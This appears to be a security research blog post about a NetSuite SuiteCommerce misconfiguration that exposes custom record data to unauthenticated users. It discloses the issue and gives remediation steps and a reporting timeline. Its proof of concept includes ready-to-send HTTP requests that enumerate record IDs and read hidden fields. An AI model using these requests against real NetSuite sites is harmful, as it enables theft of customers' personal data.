Key Takeaways
- A potential issue in NetSuite’s SuiteCommerce platform could allow attackers to access sensitive data due to misconfigured access controls on custom record types (CRTs).
- To mitigate the risk, administrators should tighten access controls on CRTs, set sensitive fields to ‘None’ for public access, and consider temporarily taking impacted sites offline to prevent data exposure.
- Important Note: Some of the media coverage on this issue misstates it as a security vulnerability in the NetSuite product. To be clear, this article is intended for customers to understand how NetSuite security works and how to address a potential but common customer misconfiguration that can cause data exposure.
- As a result of this research, Oracle introduced additional measures to prevent against accidental data exposure to unauthenticated users. For more information, see the Setting Permissions for a Custom Record Type help topic, SuiteAnswers ID 10148.
NetSuite is a popular SaaS Enterprise Resource Planning (ERP) platform. One of the most coveted features of the platform is the ability to deploy an external-facing store using SuiteCommerce or SiteBuilder. These sites are deployed on a subdomain of the NetSuite tenant and can allow unauthenticated customers to browse, register, and even purchase products directly from a business. The main benefit is providing e-commerce operations and back-office processes (such as supply chain) within a unified platform. The most desirable result of this business model is streamlining and automating order processing, fulfillment, and inventory management.
Similar to my previous research into ServiceNow and Salesforce, I’ve uncovered a new attack vector that could allow unauthenticated bad actors to steal record data from organizations that have a public site. Based on my initial investigations, several thousand live public SuiteCommerce websites are already affected. In many such cases, organizations using NetSuite that had no intention of deploying a commercial store were entirely unaware that a default stock website had been deployed publicly upon purchase of their instance. From my observations of these sites, the most commonly exposed form of sensitive data has been PII of registered customers, which included full addresses and mobile phone numbers.
For AppOmni customers who monitor NetSuite, our team has developed and made available, an AppOmni Insight that automatically detects and alerts on instances of this misconfiguration that can result in NetSuite data exposure.
But before delving into the technicalities of this vector, one must first understand the NetSuite access control model, basic SuiteCommerce concepts, and the NetSuite SuiteScript API.
To review the timeline of the issue identification and reporting, please see this section.
A glimpse into NetSuite’s architecture and APIs
To understand how a user can perform operations on arbitrary data, one must first dissect a particular common design pattern within NetSuite—namely, how frontend and client side components interact with server side components and the database.
One of the most commonly used features within NetSuite is the ability to create and deploy UI Suitelets. In many implementations, these Suitelets contain at least two components (see step 1 in Figure 1):
- Form: An HTML container which defines fields that can be interacted with.
- Client Script: A piece of client-side Javascript that listens for events that result from interaction with the Suitelet or form, and performs a set of actions as a result (see step 2 in Figure 1).
One use-case is a record creation form that takes field information specific to a particular record type. It could use a Client Script to validate information entered on the fly, ensuring data entered conforms to the expected format of the record type. Lastly, when the form is submitted, the Client Script attempts to save the record into the database.
For us, the only relevant part is the submission of the record data to the database. For this to work, NetSuite has to allow for the Client Script to interact with the server. To fulfill this requirement, NetSuite has exposed multiple web-accessible API endpoints that are called from specific Client Side SuiteScript libraries each time a Client Script attempts to use a server-side operation (see step 3 in Figure 1).
These API endpoints can be split into two separate buckets; the first is for Client Scripts developed using SuiteScript 1.0, and the second is for those that use the newer SuiteScript >2.0 (see step 4 in Figure 1). This is important to note, as there are version specific nuances that we will discuss later in the blog post.
Regardless of the version, these web-exposed APIs take the function and parameters provided by the Client Side SuiteScript library and call the corresponding Server-Side SuiteScript implementation. Interestingly, testing has shown that the corresponding Server-Side SuiteScript is aware that it is being called from a client-side context, and certain modules are specifically restricted from client-side access (see step 5 in Figure 1). A prime example is the client-side’s inability to access the N/file module in SuiteScript >2.0 due to it being reserved for server-side SuiteScripts only.
Lastly, upon confirmation that the functions are accessible from the client script context, these server-side SuiteScript functions directly perform the requested operation against the database and if necessary, return a value (see step 6 in Figure 1).
Understanding NetSuite Access Control
For the purposes of this blog post, only fundamentals of access controls for unauthenticated users are covered. For further reading into more complex NetSuite specific concepts such as subsidiaries and other types of record-level access exclusive to authenticated users, refer to the official documentation.
Within NetSuite, data is stored in what are known as ‘record types’, and these record types are the equivalent of database tables. There are two kinds of record types:
- Standard Record Types (SRTs): Out-of-the-box tables that exist by default in the tenant and were not created by the customer organization, such as the
Employee
andAccount
record types.
- Custom Record Types (CRTs): Tables that were created by the customer that were not provided with the NetSuite tenant. At the API level, these tables have a prefix of
customrecord
so they are easily identified.
Unlike many SaaS platforms which allow an administrator to grant unauthenticated access to any kind of data with a few clicks, NetSuite restricts unauthenticated access to specifically data stored within CRTs. This guardrail does some important heavy lifting when it comes to stopping data exposure to the public, as most of NetSuite’s most sensitive data is stored within SRTs.
As is common with RBAC implementations, CRTs employ both ‘table-level’ and ‘field-level’ access controls to protect data. Table-level access is configured by setting the Access Type field on the CRT definition, and the options are as follows:
- Require Custom Record Entries Permission: Access to the table, and the level of access, is configured within a role’s permissions as opposed to within the CRT definition itself. This is the default option.
- Use Permission List: Only individuals that have certain roles, defined on the CRT, may access the data. Each role may have different levels of access.
- No Permission Required: This grants everyone, including unauthenticated users, access to data.
Neither users that require custom Record Entries Permission nor those who are on a Use Permissions List can be used to grant unauthenticated access, as there is no role associated with them. Once individuals satisfy the table-level controls, they must be granted access to fields on a per-field basis. This is useful as it allows information within non-sensitive fields to be visible to standard users, whilst more privileged users may be permitted to see data within sensitive fields. In contrast to table-level controls, the configuration of access on fields is slightly more complex.
On each defined custom field, there are three controls:
- Role / Department / Subsidiary (RDS List): This form allows for one or more roles, departments, or subsidiaries to be defined on the custom field alongside the level of access you wish to grant them. This can be higher or lower than the values provided in a Use Permission List and when no permission is required.
- Default Access Level: This is a ‘catch all’ bucket for those that do not fit into an entity defined in the RDS list. It defines the level of access users have when they attempt to read the field through normal means such as a list or using the record / query API(s).
- Default Level for Search / Reporting: This is a ‘catch all’ bucket for those that do not fit into an entity defined in the RDS list. It defines the level of access users have when they attempt to perform a ‘search’ on the field.
Leveraging the N/record Module to access data
The most common API used to perform operations on individual records in NetSuite is through the ‘record’ API. The functions exposed by this API grant the ability to perform varying CRUD operations, conveniently accessible from the Client Side. In this section, we’ll focus solely on how read operations interact with authorization controls on custom record types.
For reading record data, the N/record module exposes a client-side function, loadRecord, to read data from record types. It has a signature of: loadRecord(type, id, initializeValues).
Based on the signature, it’s likely that this function internally calls record.load when being processed by the server. Its parameters are as follows:
Parameter Name | Parameter Disc | Notes |
---|---|---|
type | The API name of the record type to query. | Required. The API name must include the ‘customrecord’ prefix for CRT names. |
id | The internal id value of the record to query | Required. This value is typically incremental in nature. |
initialValues | Default values to return in the result. | Optional. Object containing default values to revert to if the field is not populated in the response. |
Because the main focus in this article is ‘reading’ data, the only sample signature to familiarize yourself with is below.
Return all field values for record ID 3 within ‘customrecord_example_type’
[“customrecord_example_type“,”3“,{}]
In a successful response, the function will return the value(s) of all accessible fields for the single record that was queried. Another noteworthy side-effect of this function, which we will see later, is that a successful response will return the names of all fields within the record type even if you’re not authorized to see their values.
Security considerations for public access
With respect to access controls for unauthenticated users, an access type of ‘No Permissions Required’ must be set on the CRT. Subsequently, access to each field will then be determined by the ‘Default Access Level’ set on the individual fields themselves. Below is a visual depiction of access control decisions if an unauthenticated user attempts to read data within a custom field of a CRT through a loadRecord call.
Using N/search module to access data
The alternative way to access data will be through the ‘search’ APIs. Oddly, I observed that the only client-side functions exposed by this module are those belonging to the SuiteScript 1.0 API as denoted by the ‘nlapi’ prefix.
The aspects of the search API that are a contrast to the earlier record API are the following:
- A search is to be provided specific fields to return or will return only the internalid column by default. The internalid value will be included in all results.
- Filters can be provided to return results matching one or more conditions
- Results for more than one record can be returned in the response
As per the documentation for nlapiSearchRecord, the signature for a record search is:
Parameter Name | Parameter Disc | Notes |
---|---|---|
type | The API name of the record type to query | Required. The API name must include the ‘customrecord’ prefix for CRT names. |
id | The internal ID of the saved search to use | Optional. This value can be set to ‘null’ if not using an existing saved search. |
filters | An array of one or more filter objects | Optional. If no filters are to be applied, this can be an empty array. |
columns | An array of one or more column objects | Optional. If no columns are requested, internalid will be returned. |
In this article, we are only using the search API to return data from the columns that we specify. The below sample signatures are as complex as it will get.
Return only the value of ‘internalid’ column for all records of type ‘customrecord_example_type’
[“customrecord_example“,”null”,[],[],[]]
Return both the values of ‘custrecord_example_field’ AND the ‘internalid’ columns for all records of type ‘customrecord_example_type’
["customrecord_example","null",[],[{"name":"custrecord_example_field","join":null,"summary":null,"label":null,"type":null,"functionid":null,"formula":null,"sortdir":null,"index":1,"userindex":1,"whenorderedby":null,"whenorderedbyjoin":null,"whenorderedbyalias":null}],[]]
Security considerations for unauthenticated user login and access attempts
While unauthenticated users always have the ability to call search API functions, they need more than just Run access to a field to access the data. Instead, they require Edit level permissions to be set for the ‘Default Level for Search / Reporting’ (DLSR) field setting. While this access requirement is a small win for security, it is overshadowed by the fact that the DLSR field is set to Edit by default when a field is initially created.
Below is a visual depiction of access control decisions if an unauthenticated user attempts to access data within a custom field of a CRT through a search.
Proof-Of-Concept
Prerequisite
In this section, I’ll demonstrate how both APIs may be combined to exfiltrate data as an unauthenticated user. For demonstration purposes, I created a test environment. This includes a SiteBuilder-based website, and a CRT (customrecord_vulnerable) with an Access Type of No Permission Required. Additionally, the CRT contains two fields with varying access controls, these are described below:
Field Name | Default Access Level | Default Level for Search / Reporting |
---|---|---|
custrecord_vulnerable_load_field | View | None |
custrecord_vulnerable_search_field | None | Edit |
We must also assume that an unauthenticated actor knows the name of the CRT. Prior to this article being published, there existed a method which could be invoked that would return the names of all CRTs. However this has since been fixed. Today, CRT names can be retrieved using two methods.
- Through observing HTTP traffic during interaction with the site, looking for strings prefixed with ‘customrecord_’ in responses.
- Brute-forcing the API endpoint shown in Step One below, using a word list consisting of popular CRT names that has been collated using public resources such as Github.
Each step of the PoC contains at least one sample POST request to the client-side SuiteScript 2.0 API. While the functions called between each POST request will differ depending on what we are trying to do, the structure of the POST body stays in the following format:
POST Parameter Name | Description |
---|---|
jrid | Required. Can be any integer value. |
jrmethod | Required. The name of the function to be called, typically prefixed with ‘remoteObject.’ although this can differ depending on the function. |
jrparams | Required. URL encoded parameters to pass to the function specified in ‘jrmethod’. At a minimum, for functions with no parameters, this will be a URL encoded empty array. |
Step One – Enumerating valid record IDs
To read other user’s data using the loadRecord function, we must first obtain the ID(s) of the records they’ve created. That requires performing a searchRecord function call. By providing no filter or columns, all record IDs will be returned that currently exist within the CRT. This field is always searchable for CRTs when the Access Type is No Permission Required.
Sample HTTP Request
POST /app/common/scripting/ClientScriptHandler.nl?script=&deploy= HTTP/1.1
Host: XXXXXXX.secure.netsuite.com
Cookie: JSESSIONID=XXX
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
Nsxmlhttprequest: NSXMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
jrid=1&jrmethod=remoteObject.nlapiSearchRecord&jrparams=%5B%22customrecord_vulnerable%22%2C%22null%22%2C%5B%5D%2C%5B%5D%2C%5B%5D%5D
Sample Response
{
"result": {
"list": [
{
"recordType": "customrecord_vulnerable",
"id": "2"
},
{
"recordType": "customrecord_vulnerable",
"id": "1"
}
]
},
"id": 1,
"errorCode": 0
}
In the above response, we have identified two records with an ID of 1 and 2 respectively.
Step Two – Reading data with load record
Now that we’ve obtained all record IDs, one could opt to easily iterate over them by sending the following request to the Burp Intruder tab and load the record IDs into the request as a simple list. But for the sake of simplicity, we will send a request in Burp Repeater for only one of the records.
Sample HTTP Request
POST /app/common/scripting/ClientScriptHandler.nl?script=&deploy= HTTP/1.1
Host: XXXXXXX.secure.netsuite.com
Cookie: JSESSIONID=XXX
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
Nsxmlhttprequest: NSXMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
jrid=27&jrmethod=remoteObject.loadRecord&jrparams=%5B%22customrecord_vulnerable%22%2C%221%22%2C%7B%7D%5D
The response can be quite large due to it containing considerable amounts of metadata. The sample below is an excerpt of what is seen at the very bottom of the response body.
Sample Response
{
"data": {
"bodyField": {
…
"id": [
"1"
],
…
"custrecord_vulnerable_load_field": [
"sample_direct_access_value"
],
In the above response, we can see that the value of vulnerable_load_field was returned alongside the data within it for this record. However, we know that there is one other field; we are just not authorized to see it through a loadRecord call as per our table in the prerequisite section.
But in a real scenario, we wouldn’t have knowledge of what fields were created for this custom record. Luckily, as I mentioned in the ‘N/record Module to Access Data’ section, the response to load record also contains the names of fields which we can’t access. We can see these field names in the response as part of the ‘sortedFields’ object:
"sortedFields": [
…
"custrecord_vulnerable_search_field",
…
],
The reason this is useful is that while we may not have the permissions to view the field value in a loadRecord call, we may have permissions to access the data within a searchRecord call. To do that, we first needed the field names to test, which we now have.
Step Three – Reading specific fields using Search Record
Taking the fields that we were not able to read using loadRecord, we can pass them into individual Search Record calls. We can take the payload from Step One and replace ‘internalid’ with the name of the field we wish to access, in this case it’s ‘custrecord_vulnerable_search_field’.
Sample HTTP Request
POST /app/common/scripting/ClientScriptHandler.nl?script=&deploy= HTTP/1.1
Host: XXXXXXX.secure.netsuite.com
Cookie: JSESSIONID=XXX
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
Nsxmlhttprequest: NSXMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
jrid=1&jrmethod=remoteObject.nlapiSearchRecord&jrparams=%5B%22customrecord_vulnerable%22%2C%22null%22%2C%5B%5D%2C%5B%7B%22name%22%3A%22custrecord_vulnerable_search_field%22%2C%22join%22%3Anull%2C%22summary%22%3Anull%2C%22label%22%3Anull%2C%22type%22%3Anull%2C%22functionid%22%3Anull%2C%22formula%22%3Anull%2C%22sortdir%22%3Anull%2C%22index%22%3A1%2C%22userindex%22%3A1%2C%22whenorderedby%22%3Anull%2C%22whenorderedbyjoin%22%3Anull%2C%22whenorderedbyalias%22%3Anull%7D%5D%2C%5B%5D%5D
Sample Response Body
{
"result": {
"list": [
{
"recordType": "customrecord_vulnerable",
"id": "1",
…
"cells": [
{
"name": "custrecord_vulnerable_search_field",
"index": "1",
"value": "sample_public_value_record_one"
}
]
…
Detecting data exfiltration
Unfortunately, NetSuite does not provide readily available transaction logs which can be used to determine malicious use of these client-side APIs. If you suspect that your organization may have been the victim of an attack that resembled a pattern similar to what was discussed in this blog post, we recommend contacting NetSuite support and requesting the raw log data. Perhaps over time, NetSuite will introduce functionality which will freely allow export of this data in the same manner that Salesforce granted customers access to Aura API events shortly after I published my Salesforce research. To learn more about how AppOmni addresses security challenges in a dynamic SaaS environment like NetSuite, read the NetSuite solution brief.
What can you do to prevent data exposure – remediating public access
The surefire way to solve these data exposure problems is to harden access controls on CRTs. The easiest solution from a security standpoint may involve changing the Access Type of the record type definition to either ‘Require Custom Record Entries Permission’ or ‘Use Permission List’. In reality, many organizations have a genuine business requirement for some of the fields within the record type to be exposed.
As such, I would highly recommend that administrators begin assessing access controls at the field level and identify which, if any, fields are required to be exposed. For fields which must be locked down from public access, administrators must make both of the below changes:
- Default Access Level: None
- Default Level for Search / Reporting: None
Similar to restricting the entire custom record type, modifying these field-level settings will also restrict the access of all users, including administrators. To resolve this, all roles / departments / and subsidiaries that require access will require an administrator to reinstate their permissions explicitly as instructed in the official NetSuite documentation, under ‘To set role, department, or subsidiary access restrictions’.
In particularly severe cases of data exposure, administrators may opt to temporarily take the site offline in order to thoroughly assess access controls. To do so, take the following steps as an administrator:
- Navigate to Commerce -> Websites -> Websites List
- Click Edit beside the site(s) you wish to take offline
- Select Take Website Offline For Maintenance or Inactive
- Click Save
Once complete, neither unauthenticated nor previously registered customers will be able to access the site. However, this will prevent access to the endpoints that are used to exfiltrate data for those users. For this to work, all of the organization’s sites must be taken down. If only one is taken down, the second site may be used to continue exfiltrating the same data. Additionally, password protecting the site will not prevent data exposure through the endpoints described in this blog post.
Take a proactive approach to SaaS security with AppOmni
Throughout my time conducting SaaS security research, it’s becoming clear that unauthenticated data exposure via SaaS applications is among the top threats to enterprises. Further, as vendors introduce increasingly complex functionality into their products to remain competitive these risks will become even more prevalent. Organizations attempting to tackle this issue will face difficulties in doing so, as it is often just through bespoke research that these avenues of attack can be uncovered. Security teams and platform administrators don’t have the time and resources required to address these issues, particularly large enterprises that have operationalized several enterprise SaaS applications to fulfill multiple demands across their lines of business. AppOmni Labs uncovers unknown SaaS threats proactively and incorporates its research directly into the AppOmni SSPM solution, enabling customers with rapid and automated visibility into risks such as data exposure across their SaaS environments.
Reporting Timeline
Date | Action |
---|---|
Jun 27, 2024 | AppOmni sends a technical inquiry to Oracle regarding data access functionality |
Jul 1, 2024 | Oracle opens a case to investigate the information within the report |
Jul 23, 2024 | Oracle closed the case after determining that public custom records are intended to be accessible through SiteBuilder and SuiteCommerce websites by unauthenticated users |
Aug 14, 2024 | AppOmni communicates details of the findings to customers with an automated in-product Insight that is enabled for all AppOmni customers monitoring NetSuite to identify cases of data exposure in their instances |
Aug 15, 2024 | AppOmni publishes this blog post |
Aug 17, 2024 | As a result of this research, Oracle introduces platform changes to mitigate accidental data exposure to unauthenticated users |
Qualify for a free SaaS risk assessment
Find out who has access to your SaaS data and learn how you can benefit from simplified and automated SaaS security with AppOmni.
Additional Resources
-
Zoom Breach at Federal Reserve Shows the Need for SaaS Security
A SaaS security misconfiguration led to a high-profile Zoom bombing, preventing the Federal Governor from delivering his remarks at a virtual event.
-
Workshops
Gain critical insights and actionable strategies in just one hour. Register now to secure your spot and enhance your Saas security knowledge.
-
Workday Security Handbook
Get a solid understanding of Workday’s unique SaaS security risks and learn how to mitigate them with this Security Handbook.